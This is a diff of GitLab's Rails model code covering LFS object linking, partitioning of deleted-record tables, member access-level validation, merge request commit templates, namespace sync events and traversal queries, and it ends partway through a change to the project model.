index 9765ac6f2e9..caeffae7bda 100644
--- a/app/models/lfs_object.rb
+++ b/app/models/lfs_object.rb
@@ -13,6 +13,7 @@ class LfsObject < ApplicationRecord
scope :with_files_stored_locally, -> { where(file_store: LfsObjectUploader::Store::LOCAL) }
scope :with_files_stored_remotely, -> { where(file_store: LfsObjectUploader::Store::REMOTE) }
scope :for_oids, -> (oids) { where(oid: oids) }
+ scope :for_oid_and_size, -> (oid, size) { find_by(oid: oid, size: size) }
validates :oid, presence: true, uniqueness: true
diff --git a/app/models/lfs_objects_project.rb b/app/models/lfs_objects_project.rb
index e5632ff2842..bf6d1394569 100644
--- a/app/models/lfs_objects_project.rb
+++ b/app/models/lfs_objects_project.rb
@@ -21,9 +21,19 @@ class LfsObjectsProject < ApplicationRecord
scope :project_id_in, ->(ids) { where(project_id: ids) }
scope :lfs_object_in, -> (lfs_objects) { where(lfs_object: lfs_objects) }
+ def self.link_to_project!(lfs_object, project)
+ # We can't use an upsert here because there is no uniqueness constraint:
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/347466
+ self.safe_find_or_create_by!(lfs_object_id: lfs_object.id, project_id: project.id) # rubocop:disable Performance/ActiveRecordSubtransactionMethods
+ end
+
+ def self.update_statistics_for_project_id(project_id)
+ ProjectCacheWorker.perform_async(project_id, [], [:lfs_objects_size]) # rubocop:disable CodeReuse/Worker
+ end
+
private
def update_project_statistics
- ProjectCacheWorker.perform_async(project_id, [], [:lfs_objects_size])
+ self.class.update_statistics_for_project_id(project_id)
end
end
diff --git a/app/models/loose_foreign_keys/deleted_record.rb b/app/models/loose_foreign_keys/deleted_record.rb
index c3b3e76f67b..0fbdd2d8a5b 100644
--- a/app/models/loose_foreign_keys/deleted_record.rb
+++ b/app/models/loose_foreign_keys/deleted_record.rb
@@ -1,15 +1,45 @@
# frozen_string_literal: true
class LooseForeignKeys::DeletedRecord < ApplicationRecord
+ PARTITION_DURATION = 1.day
+
+ include PartitionedTable
+
self.primary_key = :id
+ self.ignored_columns = %i[partition]
+
+ partitioned_by :partition, strategy: :sliding_list,
+ next_partition_if: -> (active_partition) do
+ return false if Feature.disabled?(:lfk_automatic_partition_creation, default_enabled: :yaml)
+
+ oldest_record_in_partition = LooseForeignKeys::DeletedRecord
+ .select(:id, :created_at)
+ .for_partition(active_partition)
+ .order(:id)
+ .limit(1)
+ .take
+
+ oldest_record_in_partition.present? && oldest_record_in_partition.created_at < PARTITION_DURATION.ago
+ end,
+ detach_partition_if: -> (partition) do
+ return false if Feature.disabled?(:lfk_automatic_partition_dropping, default_enabled: :yaml)
+
+ !LooseForeignKeys::DeletedRecord
+ .for_partition(partition)
+ .status_pending
+ .exists?
+ end
scope :for_table, -> (table) { where(fully_qualified_table_name: table) }
+ scope :for_partition, -> (partition) { where(partition: partition) }
scope :consume_order, -> { order(:partition, :consume_after, :id) }
enum status: { pending: 1, processed: 2 }, _prefix: :status
def self.load_batch_for_table(table, batch_size)
- for_table(table)
+ # selecting partition as partition_number to workaround the sliding partitioning column ignore
+ select(arel_table[Arel.star], arel_table[:partition].as('partition_number'))
+ .for_table(table)
.status_pending
.consume_order
.limit(batch_size)
@@ -20,9 +50,9 @@ class LooseForeignKeys::DeletedRecord < ApplicationRecord
# Run a query for each partition to optimize the row lookup by primary key (partition, id)
update_count = 0
- all_records.group_by(&:partition).each do |partition, records_within_partition|
+ all_records.group_by(&:partition_number).each do |partition, records_within_partition|
update_count += status_pending
- .where(partition: partition)
+ .for_partition(partition)
.where(id: records_within_partition.pluck(:id))
.update_all(status: :processed)
end
diff --git a/app/models/member.rb b/app/models/member.rb
index 11f67a77ee2..90fb281abf4 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -25,7 +25,7 @@ class Member < ApplicationRecord
belongs_to :source, polymorphic: true # rubocop:disable Cop/PolymorphicAssociations
has_one :member_task
- delegate :name, :username, :email, to: :user, prefix: true
+ delegate :name, :username, :email, :last_activity_on, to: :user, prefix: true
delegate :tasks_to_be_done, to: :member_task, allow_nil: true
validates :expires_at, allow_blank: true, future_date: true
@@ -52,6 +52,7 @@ class Member < ApplicationRecord
message: _('project bots cannot be added to other groups / projects')
},
if: :project_bot?
+ validate :access_level_inclusion
scope :with_invited_user_state, -> do
joins('LEFT JOIN users as invited_user ON invited_user.email = members.invite_email')
@@ -382,6 +383,12 @@ class Member < ApplicationRecord
private
+ def access_level_inclusion
+ return if access_level.in?(Gitlab::Access.all_values)
+
+ errors.add(:access_level, "is not included in the list")
+ end
+
def send_invite
# override in subclass
end
@@ -417,11 +424,9 @@ class Member < ApplicationRecord
def after_accept_invite
post_create_hook
- if experiment(:invite_members_for_task).enabled?
- run_after_commit_or_now do
- if member_task
- TasksToBeDone::CreateWorker.perform_async(member_task.id, created_by_id, [user_id.to_i])
- end
+ run_after_commit_or_now do
+ if member_task
+ TasksToBeDone::CreateWorker.perform_async(member_task.id, created_by_id, [user_id.to_i])
end
end
end
diff --git a/app/models/members/group_member.rb b/app/models/members/group_member.rb
index 9062a405218..1ad4cb6d368 100644
--- a/app/models/members/group_member.rb
+++ b/app/models/members/group_member.rb
@@ -6,6 +6,7 @@ class GroupMember < Member
include CreatedAtFilterable
SOURCE_TYPE = 'Namespace'
+ SOURCE_TYPE_FORMAT = /\ANamespace\z/.freeze
belongs_to :group, foreign_key: 'source_id'
alias_attribute :namespace_id, :source_id
@@ -13,9 +14,7 @@ class GroupMember < Member
# Make sure group member points only to group as it source
default_value_for :source_type, SOURCE_TYPE
- validates :source_type, format: { with: /\ANamespace\z/ }
- validates :access_level, presence: true
- validate :access_level_inclusion
+ validates :source_type, format: { with: SOURCE_TYPE_FORMAT }
default_scope { where(source_type: SOURCE_TYPE) } # rubocop:disable Cop/DefaultScope
@@ -65,12 +64,6 @@ class GroupMember < Member
super
end
- def access_level_inclusion
- return if access_level.in?(Gitlab::Access.all_values)
-
- errors.add(:access_level, "is not included in the list")
- end
-
def send_invite
run_after_commit_or_now { notification_service.invite_group_member(self, @raw_invite_token) }
diff --git a/app/models/members/project_member.rb b/app/models/members/project_member.rb
index 89b72508e84..6fc665cb87a 100644
--- a/app/models/members/project_member.rb
+++ b/app/models/members/project_member.rb
@@ -3,6 +3,7 @@
class ProjectMember < Member
extend ::Gitlab::Utils::Override
SOURCE_TYPE = 'Project'
+ SOURCE_TYPE_FORMAT = /\AProject\z/.freeze
belongs_to :project, foreign_key: 'source_id'
@@ -10,8 +11,7 @@ class ProjectMember < Member
# Make sure project member points only to project as it source
default_value_for :source_type, SOURCE_TYPE
- validates :source_type, format: { with: /\AProject\z/ }
- validates :access_level, inclusion: { in: Gitlab::Access.values }
+ validates :source_type, format: { with: SOURCE_TYPE_FORMAT }
default_scope { where(source_type: SOURCE_TYPE) } # rubocop:disable Cop/DefaultScope
scope :in_project, ->(project) { where(source_id: project.id) }
@@ -92,6 +92,13 @@ class ProjectMember < Member
private
+ override :access_level_inclusion
+ def access_level_inclusion
+ return if access_level.in?(Gitlab::Access.values)
+
+ errors.add(:access_level, "is not included in the list")
+ end
+
override :refresh_member_authorized_projects
def refresh_member_authorized_projects(blocking:)
return unless user
diff --git a/app/models/members_preloader.rb b/app/models/members_preloader.rb
index ba7e4b39989..8b8eca54550 100644
--- a/app/models/members_preloader.rb
+++ b/app/models/members_preloader.rb
@@ -13,7 +13,7 @@ class MembersPreloader
ActiveRecord::Associations::Preloader.new.preload(members, :created_by)
ActiveRecord::Associations::Preloader.new.preload(members, user: :status)
ActiveRecord::Associations::Preloader.new.preload(members, user: :u2f_registrations)
- ActiveRecord::Associations::Preloader.new.preload(members, user: :webauthn_registrations) if Feature.enabled?(:webauthn)
+ ActiveRecord::Associations::Preloader.new.preload(members, user: :webauthn_registrations) if Feature.enabled?(:webauthn, default_enabled: :yaml)
end
end
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index 0cd8f12088c..f88aee38d67 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -506,12 +506,12 @@ class MergeRequest < ApplicationRecord
def self.reference_pattern
@reference_pattern ||= %r{
(#{Project.reference_pattern})?
- #{Regexp.escape(reference_prefix)}(?<merge_request>\d+)
+ #{Regexp.escape(reference_prefix)}#{Gitlab::Regex.merge_request}
}x
end
def self.link_reference_pattern
- @link_reference_pattern ||= super("merge_requests", /(?<merge_request>\d+)/)
+ @link_reference_pattern ||= super("merge_requests", Gitlab::Regex.merge_request)
end
def self.reference_valid?(reference)
@@ -768,7 +768,7 @@ class MergeRequest < ApplicationRecord
def diff_size
# Calling `merge_request_diff.diffs.real_size` will also perform
# highlighting, which we don't need here.
- merge_request_diff&.real_size || diff_stats&.real_size(project: project) || diffs.real_size
+ merge_request_diff&.real_size || diff_stats&.real_size || diffs.real_size
end
def modified_paths(past_merge_request_diff: nil, fallback_on_overflow: false)
@@ -1317,7 +1317,7 @@ class MergeRequest < ApplicationRecord
def default_merge_commit_message(include_description: false)
if self.target_project.merge_commit_template.present? && !include_description
- return ::Gitlab::MergeRequests::MergeCommitMessage.new(merge_request: self).message
+ return ::Gitlab::MergeRequests::CommitMessageGenerator.new(merge_request: self).merge_message
end
closes_issues_references = visible_closing_issues_for.map do |issue|
@@ -1340,6 +1340,10 @@ class MergeRequest < ApplicationRecord
end
def default_squash_commit_message
+ if self.target_project.squash_commit_template.present?
+ return ::Gitlab::MergeRequests::CommitMessageGenerator.new(merge_request: self).squash_message
+ end
+
title
end
@@ -1798,7 +1802,7 @@ class MergeRequest < ApplicationRecord
def pipeline_coverage_delta
if base_pipeline&.coverage && head_pipeline&.coverage
- '%.2f' % (head_pipeline.coverage.to_f - base_pipeline.coverage.to_f)
+ head_pipeline.coverage - base_pipeline.coverage
end
end
@@ -1880,30 +1884,7 @@ class MergeRequest < ApplicationRecord
override :ensure_metrics
def ensure_metrics
- if Feature.enabled?(:use_upsert_query_for_mr_metrics, default_enabled: :yaml)
- MergeRequest::Metrics.record!(self)
- else
- # Backward compatibility: some merge request metrics records will not have target_project_id filled in.
- # In that case the first `safe_find_or_create_by` will return false.
- # The second finder call will be eliminated in https://gitlab.com/gitlab-org/gitlab/-/issues/233507
- metrics_record = MergeRequest::Metrics.safe_find_or_create_by(merge_request_id: id, target_project_id: target_project_id) || MergeRequest::Metrics.safe_find_or_create_by(merge_request_id: id)
-
- metrics_record.tap do |metrics_record|
- # Make sure we refresh the loaded association object with the newly created/loaded item.
- # This is needed in order to have the exact functionality than before.
- #
- # Example:
- #
- # merge_request.metrics.destroy
- # merge_request.ensure_metrics
- # merge_request.metrics # should return the metrics record and not nil
- # merge_request.metrics.merge_request # should return the same MR record
-
- metrics_record.target_project_id = target_project_id
- metrics_record.association(:merge_request).target = self
- association(:metrics).target = metrics_record
- end
- end
+ MergeRequest::Metrics.record!(self)
end
def allows_reviewers?
diff --git a/app/models/merge_request_assignee.rb b/app/models/merge_request_assignee.rb
index fd8e5860040..77b46fa50f4 100644
--- a/app/models/merge_request_assignee.rb
+++ b/app/models/merge_request_assignee.rb
@@ -10,6 +10,12 @@ class MergeRequestAssignee < ApplicationRecord
scope :in_projects, ->(project_ids) { joins(:merge_request).where(merge_requests: { target_project_id: project_ids }) }
+ def set_state
+ if Feature.enabled?(:mr_attention_requests, self.merge_request&.project, default_enabled: :yaml)
+ self.state = MergeRequestReviewer.find_by(user_id: self.user_id, merge_request_id: self.merge_request_id)&.state || :attention_requested
+ end
+ end
+
def cache_key
[model_name.cache_key, id, state, assignee.cache_key]
end
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index 2516ff05bda..87afb7a489a 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -719,7 +719,7 @@ class MergeRequestDiff < ApplicationRecord
if compare.commits.empty?
new_attributes[:state] = :empty
else
- diff_collection = compare.diffs(Commit.max_diff_options(project: merge_request.project))
+ diff_collection = compare.diffs(Commit.max_diff_options)
new_attributes[:real_size] = diff_collection.real_size
if diff_collection.any?
diff --git a/app/models/merge_request_reviewer.rb b/app/models/merge_request_reviewer.rb
index 4abf0fa09f0..8c75fb2e4e6 100644
--- a/app/models/merge_request_reviewer.rb
+++ b/app/models/merge_request_reviewer.rb
@@ -6,6 +6,12 @@ class MergeRequestReviewer < ApplicationRecord
belongs_to :merge_request
belongs_to :reviewer, class_name: 'User', foreign_key: :user_id, inverse_of: :merge_request_reviewers
+ def set_state
+ if Feature.enabled?(:mr_attention_requests, self.merge_request&.project, default_enabled: :yaml)
+ self.state = MergeRequestAssignee.find_by(user_id: self.user_id, merge_request_id: self.merge_request_id)&.state || :attention_requested
+ end
+ end
+
def cache_key
[model_name.cache_key, id, state, reviewer.cache_key]
end
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index 353a896b3fe..4b1cf2fa217 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -51,9 +51,7 @@ class Namespace < ApplicationRecord
# This should _not_ be `inverse_of: :namespace`, because that would also set
# `user.namespace` when this user creates a group with themselves as `owner`.
- # TODO: can this be moved into the UserNamespace class?
- # evaluate in issue https://gitlab.com/gitlab-org/gitlab/-/issues/341070
- belongs_to :owner, class_name: "User"
+ belongs_to :owner, class_name: 'User'
belongs_to :parent, class_name: "Namespace"
has_many :children, -> { where(type: Group.sti_name) }, class_name: "Namespace", foreign_key: :parent_id
@@ -66,6 +64,9 @@ class Namespace < ApplicationRecord
has_one :admin_note, inverse_of: :namespace
accepts_nested_attributes_for :admin_note, update_only: true
+ has_one :ci_namespace_mirror, class_name: 'Ci::NamespaceMirror'
+ has_many :sync_events, class_name: 'Namespaces::SyncEvent'
+
validates :owner, presence: true, if: ->(n) { n.owner_required? }
validates :name,
presence: true,
@@ -96,7 +97,7 @@ class Namespace < ApplicationRecord
validates :max_artifacts_size, numericality: { only_integer: true, greater_than: 0, allow_nil: true }
- validate :validate_parent_type, if: -> { Feature.enabled?(:validate_namespace_parent_type, default_enabled: :yaml) }
+ validate :validate_parent_type
# ProjectNamespaces excluded as they are not meant to appear in the group hierarchy at the moment.
validate :nesting_level_allowed, unless: -> { project_namespace? }
@@ -106,6 +107,8 @@ class Namespace < ApplicationRecord
delegate :name, to: :owner, allow_nil: true, prefix: true
delegate :avatar_url, to: :owner, allow_nil: true
+ after_save :schedule_sync_event_worker, if: -> { saved_change_to_id? || saved_change_to_parent_id? }
+
after_commit :refresh_access_of_projects_invited_groups, on: :update, if: -> { previous_changes.key?('share_with_group_lock') }
before_create :sync_share_with_group_lock_with_parent
@@ -122,12 +125,8 @@ class Namespace < ApplicationRecord
saved_change_to_name? || saved_change_to_path? || saved_change_to_parent_id?
}
- # TODO: change to `type: Namespaces::UserNamespace.sti_name` when
- # working on issue https://gitlab.com/gitlab-org/gitlab/-/issues/341070
- scope :user_namespaces, -> { where(type: [nil, Namespaces::UserNamespace.sti_name]) }
- # TODO: this can be simplified with `type != 'Project'` when working on issue
- # https://gitlab.com/gitlab-org/gitlab/-/issues/341070
- scope :without_project_namespaces, -> { where(Namespace.arel_table[:type].is_distinct_from(Namespaces::ProjectNamespace.sti_name)) }
+ scope :user_namespaces, -> { where(type: Namespaces::UserNamespace.sti_name) }
+ scope :without_project_namespaces, -> { where(Namespace.arel_table[:type].not_eq(Namespaces::ProjectNamespace.sti_name)) }
scope :sort_by_type, -> { order(Gitlab::Database.nulls_first_order(:type)) }
scope :include_route, -> { includes(:route) }
scope :by_parent, -> (parent) { where(parent_id: parent) }
@@ -615,6 +614,13 @@ class Namespace < ApplicationRecord
def enforce_minimum_path_length?
path_changed? && !project_namespace?
end
+
+ # SyncEvents are created by PG triggers (with the function `insert_namespaces_sync_event`)
+ def schedule_sync_event_worker
+ run_after_commit do
+ Namespaces::SyncEvent.enqueue_worker
+ end
+ end
end
Namespace.prepend_mod_with('Namespace')
diff --git a/app/models/namespaces/project_namespace.rb b/app/models/namespaces/project_namespace.rb
index 22ec550dee2..fbd87e3232d 100644
--- a/app/models/namespaces/project_namespace.rb
+++ b/app/models/namespaces/project_namespace.rb
@@ -7,5 +7,9 @@ module Namespaces
def self.sti_name
'Project'
end
+
+ def self.polymorphic_name
+ 'Namespaces::ProjectNamespace'
+ end
end
end
diff --git a/app/models/namespaces/sync_event.rb b/app/models/namespaces/sync_event.rb
new file mode 100644
index 00000000000..8534d8afb8c
--- /dev/null
+++ b/app/models/namespaces/sync_event.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# This model serves to keep track of changes to the namespaces table in the main database, and allowing to safely
+# replicate these changes to other databases.
+class Namespaces::SyncEvent < ApplicationRecord
+ self.table_name = 'namespaces_sync_events'
+
+ belongs_to :namespace
+
+ scope :preload_synced_relation, -> { preload(:namespace) }
+ scope :order_by_id_asc, -> { order(id: :asc) }
+
+ def self.enqueue_worker
+ ::Namespaces::ProcessSyncEventsWorker.perform_async # rubocop:disable CodeReuse/Worker
+ end
+end
diff --git a/app/models/namespaces/traversal/linear.rb b/app/models/namespaces/traversal/linear.rb
index 1736fe82ca5..5a5f2a5d063 100644
--- a/app/models/namespaces/traversal/linear.rb
+++ b/app/models/namespaces/traversal/linear.rb
@@ -64,6 +64,13 @@ module Namespaces
traversal_ids.present?
end
+ def use_traversal_ids_for_ancestors_upto?
+ return false unless use_traversal_ids?
+ return false unless Feature.enabled?(:use_traversal_ids_for_ancestors_upto, root_ancestor, default_enabled: :yaml)
+
+ traversal_ids.present?
+ end
+
def use_traversal_ids_for_root_ancestor?
return false unless Feature.enabled?(:use_traversal_ids_for_root_ancestor, default_enabled: :yaml)
@@ -114,6 +121,35 @@ module Namespaces
hierarchy_order == :desc ? traversal_ids[0..-2] : traversal_ids[0..-2].reverse
end
+ # Returns all ancestors upto but excluding the top.
+ # When no top is given, all ancestors are returned.
+ # When top is not found, returns all ancestors.
+ #
+ # This copies the behavior of the recursive method. We will deprecate
+ # this behavior soon.
+ def ancestors_upto(top = nil, hierarchy_order: nil)
+ return super unless use_traversal_ids_for_ancestors_upto?
+
+ # We can't use a default value in the method definition above because
+ # we need to preserve those specific parameters for super.
+ hierarchy_order ||= :desc
+
+ # Get all ancestor IDs inclusively between top and our parent.
+ top_index = top ? traversal_ids.find_index(top.id) : 0
+ ids = traversal_ids[top_index...-1]
+ ids_string = ids.map { |id| Integer(id) }.join(',')
+
+ # WITH ORDINALITY lets us order the result to match traversal_ids order.
+ from_sql = <<~SQL
+ unnest(ARRAY[#{ids_string}]::bigint[]) WITH ORDINALITY AS ancestors(id, ord)
+ INNER JOIN namespaces ON namespaces.id = ancestors.id
+ SQL
+
+ self.class
+ .from(Arel.sql(from_sql))
+ .order('ancestors.ord': hierarchy_order)
+ end
+
def self_and_ancestors(hierarchy_order: nil)
return super unless use_traversal_ids_for_ancestors?
@@ -168,7 +204,7 @@ module Namespaces
end
if bottom
- skope = skope.where(id: bottom.traversal_ids[0..-1])
+ skope = skope.where(id: bottom.traversal_ids)
end
# The original `with_depth` attribute in ObjectHierarchy increments as you
diff --git a/app/models/namespaces/traversal/linear_scopes.rb b/app/models/namespaces/traversal/linear_scopes.rb
index f5c44171c42..0dfb7320461 100644
--- a/app/models/namespaces/traversal/linear_scopes.rb
+++ b/app/models/namespaces/traversal/linear_scopes.rb
@@ -105,27 +105,32 @@ module Namespaces
:traversal_ids,
'LEAD (namespaces.traversal_ids, 1) OVER (ORDER BY namespaces.traversal_ids ASC) next_traversal_ids'
)
- cte = Gitlab::SQL::CTE.new(:base_cte, base)
+ base_cte = Gitlab::SQL::CTE.new(:descendants_base_cte, base)
namespaces = Arel::Table.new(:namespaces)
- records = unscoped
- .with(cte.to_arel)
- .from([cte.table, namespaces])
# Bound the search space to ourselves (optional) and descendants.
#
# WHERE (base_cte.next_traversal_ids IS NULL OR base_cte.next_traversal_ids > namespaces.traversal_ids)
# AND next_traversal_ids_sibling(base_cte.traversal_ids) > namespaces.traversal_ids
- records = records
- .where(cte.table[:next_traversal_ids].eq(nil).or(cte.table[:next_traversal_ids].gt(namespaces[:traversal_ids])))
- .where(next_sibling_func(cte.table[:traversal_ids]).gt(namespaces[:traversal_ids]))
+ records = unscoped
+ .from([base_cte.table, namespaces])
+ .where(base_cte.table[:next_traversal_ids].eq(nil).or(base_cte.table[:next_traversal_ids].gt(namespaces[:traversal_ids])))
+ .where(next_sibling_func(base_cte.table[:traversal_ids]).gt(namespaces[:traversal_ids]))
# AND base_cte.traversal_ids <= namespaces.traversal_ids
- if include_self
- records.where(cte.table[:traversal_ids].lteq(namespaces[:traversal_ids]))
- else
- records.where(cte.table[:traversal_ids].lt(namespaces[:traversal_ids]))
- end
+ records = if include_self
+ records.where(base_cte.table[:traversal_ids].lteq(namespaces[:traversal_ids]))
+ else
+ records.where(base_cte.table[:traversal_ids].lt(namespaces[:traversal_ids]))
+ end
+
+ records_cte = Gitlab::SQL::CTE.new(:descendants_cte, records)
+
+ unscoped
+ .unscope(where: [:type])
+ .with(base_cte.to_arel, records_cte.to_arel)
+ .from(records_cte.alias_to(namespaces))
end
def next_sibling_func(*args)
diff --git a/app/models/namespaces/traversal/recursive.rb b/app/models/namespaces/traversal/recursive.rb
index 8d2c5d3be5a..53eac27aa54 100644
--- a/app/models/namespaces/traversal/recursive.rb
+++ b/app/models/namespaces/traversal/recursive.rb
@@ -46,6 +46,7 @@ module Namespaces
object_hierarchy(self.class.where(id: id))
.ancestors(upto: top, hierarchy_order: hierarchy_order)
end
+ alias_method :recursive_ancestors_upto, :ancestors_upto
def self_and_ancestors(hierarchy_order: nil)
return self.class.where(id: id) unless parent_id
diff --git a/app/models/namespaces/user_namespace.rb b/app/models/namespaces/user_namespace.rb
index d4d7d352e71..14b867b2607 100644
--- a/app/models/namespaces/user_namespace.rb
+++ b/app/models/namespaces/user_namespace.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-# TODO: currently not created/mapped in the database, will be done in another issue
-# https://gitlab.com/gitlab-org/gitlab/-/issues/341070
module Namespaces
####################################################################
# PLEASE DO NOT OVERRIDE METHODS IN THIS CLASS!
diff --git a/app/models/note.rb b/app/models/note.rb
index cb285028203..a143c21c0f9 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -23,7 +23,7 @@ class Note < ApplicationRecord
include FromUnion
include Sortable
- cache_markdown_field :note, pipeline: :note, issuable_state_filter_enabled: true
+ cache_markdown_field :note, pipeline: :note, issuable_reference_expansion_enabled: true
redact_field :note
@@ -603,6 +603,15 @@ class Note < ApplicationRecord
})
end
+ def show_outdated_changes?
+ return false unless for_merge_request?
+ return false unless Feature.enabled?(:display_outdated_line_diff, noteable.source_project, default_enabled: :yaml)
+ return false unless system?
+ return false unless change_position&.line_range
+
+ change_position.line_range["end"] || change_position.line_range["start"]
+ end
+
private
def system_note_viewable_by?(user)
diff --git a/app/models/notification_reason.rb b/app/models/notification_reason.rb
index c227626af9e..3713be6cb91 100644
--- a/app/models/notification_reason.rb
+++ b/app/models/notification_reason.rb
@@ -6,6 +6,7 @@ class NotificationReason
OWN_ACTIVITY = 'own_activity'
ASSIGNED = 'assigned'
REVIEW_REQUESTED = 'review_requested'
+ ATTENTION_REQUESTED = 'attention_requested'
MENTIONED = 'mentioned'
SUBSCRIBED = 'subscribed'
@@ -14,6 +15,7 @@ class NotificationReason
OWN_ACTIVITY,
ASSIGNED,
REVIEW_REQUESTED,
+ ATTENTION_REQUESTED,
MENTIONED,
SUBSCRIBED
].freeze
diff --git a/app/models/packages/build_info.rb b/app/models/packages/build_info.rb
index 1b0f0ed8ffd..38245bef7a5 100644
--- a/app/models/packages/build_info.rb
+++ b/app/models/packages/build_info.rb
@@ -3,4 +3,10 @@
class Packages::BuildInfo < ApplicationRecord
belongs_to :package, inverse_of: :build_infos
belongs_to :pipeline, class_name: 'Ci::Pipeline'
+
+ scope :pluck_pipeline_ids, -> { pluck(:pipeline_id) }
+ scope :without_empty_pipelines, -> { where.not(pipeline_id: nil) }
+ scope :order_by_pipeline_id, -> (direction) { order(pipeline_id: direction) }
+ scope :with_pipeline_id_less_than, -> (pipeline_id) { where("pipeline_id < ?", pipeline_id) }
+ scope :with_pipeline_id_greater_than, -> (pipeline_id) { where("pipeline_id > ?", pipeline_id) }
end
diff --git a/app/models/packages/conan/metadatum.rb b/app/models/packages/conan/metadatum.rb
index 7ec2641177a..58af34879af 100644
--- a/app/models/packages/conan/metadatum.rb
+++ b/app/models/packages/conan/metadatum.rb
@@ -1,19 +1,19 @@
# frozen_string_literal: true
class Packages::Conan::Metadatum < ApplicationRecord
+ NONE_VALUE = '_'
+
belongs_to :package, -> { where(package_type: :conan) }, inverse_of: :conan_metadatum
validates :package, presence: true
validates :package_username,
- presence: true,
- format: { with: Gitlab::Regex.conan_recipe_component_regex }
-
- validates :package_channel,
- presence: true,
- format: { with: Gitlab::Regex.conan_recipe_component_regex }
+ :package_channel,
+ presence: true,
+ format: { with: Gitlab::Regex.conan_recipe_user_channel_regex }
validate :conan_package_type
+ validate :username_channel_none_values
def recipe
"#{package.name}/#{package.version}@#{package_username}/#{package_channel}"
@@ -31,6 +31,15 @@ class Packages::Conan::Metadatum < ApplicationRecord
package_username.tr('+', '/')
end
+ def self.validate_username_and_channel(username, channel)
+ return if (username != NONE_VALUE && channel != NONE_VALUE) ||
+ (username == NONE_VALUE && channel == NONE_VALUE)
+
+ none_field = username == NONE_VALUE ? :username : :channel
+
+ yield(none_field)
+ end
+
private
def conan_package_type
@@ -38,4 +47,10 @@ class Packages::Conan::Metadatum < ApplicationRecord
errors.add(:base, _('Package type must be Conan'))
end
end
+
+ def username_channel_none_values
+ self.class.validate_username_and_channel(package_username, package_channel) do |none_field|
+ errors.add("package_#{none_field}".to_sym, _("can't be solely blank"))
+ end
+ end
end
diff --git a/app/models/postgresql/replication_slot.rb b/app/models/postgresql/replication_slot.rb
index 1a4d3bd5794..1c38edcca61 100644
--- a/app/models/postgresql/replication_slot.rb
+++ b/app/models/postgresql/replication_slot.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Postgresql
- class ReplicationSlot < ApplicationRecord
+ class ReplicationSlot < Gitlab::Database::SharedModel
self.table_name = 'pg_replication_slots'
# Returns true if there are any replication slots in use.
diff --git a/app/models/preloaders/group_policy_preloader.rb b/app/models/preloaders/group_policy_preloader.rb
index 95d6e0b5c1f..44030140ce3 100644
--- a/app/models/preloaders/group_policy_preloader.rb
+++ b/app/models/preloaders/group_policy_preloader.rb
@@ -8,15 +8,12 @@ module Preloaders
end
def execute
- Preloaders::UserMaxAccessLevelInGroupsPreloader.new(@groups, @current_user).execute
- Preloaders::GroupRootAncestorPreloader.new(@groups, root_ancestor_preloads).execute
+ Preloaders::UserMaxAccessLevelInGroupsPreloader.new(groups, current_user).execute
end
private
- def root_ancestor_preloads
- []
- end
+ attr_reader :groups, :current_user
end
end
diff --git a/app/models/preloaders/group_root_ancestor_preloader.rb b/app/models/preloaders/group_root_ancestor_preloader.rb
deleted file mode 100644
index 3ca713d9635..00000000000
--- a/app/models/preloaders/group_root_ancestor_preloader.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-module Preloaders
- class GroupRootAncestorPreloader
- def initialize(groups, root_ancestor_preloads = [])
- @groups = groups
- @root_ancestor_preloads = root_ancestor_preloads
- end
-
- def execute
- return unless ::Feature.enabled?(:use_traversal_ids, default_enabled: :yaml)
-
- # type == 'Group' condition located on subquery to prevent a filter in the query
- root_query = Namespace.joins("INNER JOIN (#{join_sql}) as root_query ON root_query.root_id = namespaces.id")
- .select('namespaces.*, root_query.id as source_id')
-
- root_query = root_query.preload(*@root_ancestor_preloads) if @root_ancestor_preloads.any?
-
- root_ancestors_by_id = root_query.group_by(&:source_id)
-
- @groups.each do |group|
- group.root_ancestor = root_ancestors_by_id[group.id].first
- end
- end
-
- private
-
- def join_sql
- Group.select('id, traversal_ids[1] as root_id').where(id: @groups.map(&:id)).to_sql
- end
- end
-end
diff --git a/app/models/project.rb b/app/models/project.rb
index 45999da7839..a751e8adeb0 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -102,6 +102,8 @@ class Project < ApplicationRecord
after_save :update_project_statistics, if: :saved_change_to_namespace_id?
+ after_save :schedule_sync_event_worker, if: -> { saved_change_to_id? || saved_change_to_namespace_id? }
+
after_save :create_import_state, if: ->(project) { project.import? && project.import_state.nil? }
after_save :save_topics
@@ -394,6 +396,9 @@ class Project < ApplicationRecord
has_many :timelogs
+ has_one :ci_project_mirror, class_name: 'Ci::ProjectMirror'
+ has_many :sync_events, class_name: 'Projects::SyncEvent'
+
accepts_nested_attributes_for :variables, allow_destroy: true
accepts_nested_attributes_for :project_feature, update_only: true
accepts_nested_attributes_for :project_setting, update_only: true
@@ -449,10 +454,11 @@ class Project < ApplicationRecord
delegate :restrict_user_defined_variables, :restrict_user_defined_variables=, to: :ci_cd_settings, allow_nil: true
delegate :actual_limits, :actual_plan_name, to: :namespace, allow_nil: true
delegate :allow_merge_on_skipped_pipeline, :allow_merge_on_skipped_pipeline?,
- :allow_merge_on_skipped_pipeline=, :has_confluence?,
+ :allow_merge_on_skipped_pipeline=, :has_confluence?, :has_shimo?,
to: :project_setting
delegate :active?, to: :prometheus_integration, allow_nil: true, prefix: true
delegate :merge_commit_template, :merge_commit_template=, to: :project_setting, allow_nil: true
+ delegate :squash_commit_template, :squash_commit_template=, to: :project_setting, allow_nil: true
delegate :log_jira_dvcs_integration_usage, :jira_dvcs_server_last_sync_at, :jira_dvcs_cloud_last_sync_at, to: :feature_usage
@@ -477,7 +483,8 @@ class Project < ApplicationRecord
validates :project_feature, presence: true
validates :namespace, presence: true
- validates :project_namespace, presence: true, if: -> { self.namespace && self.root_namespace.project_namespace_creation_enabled? }
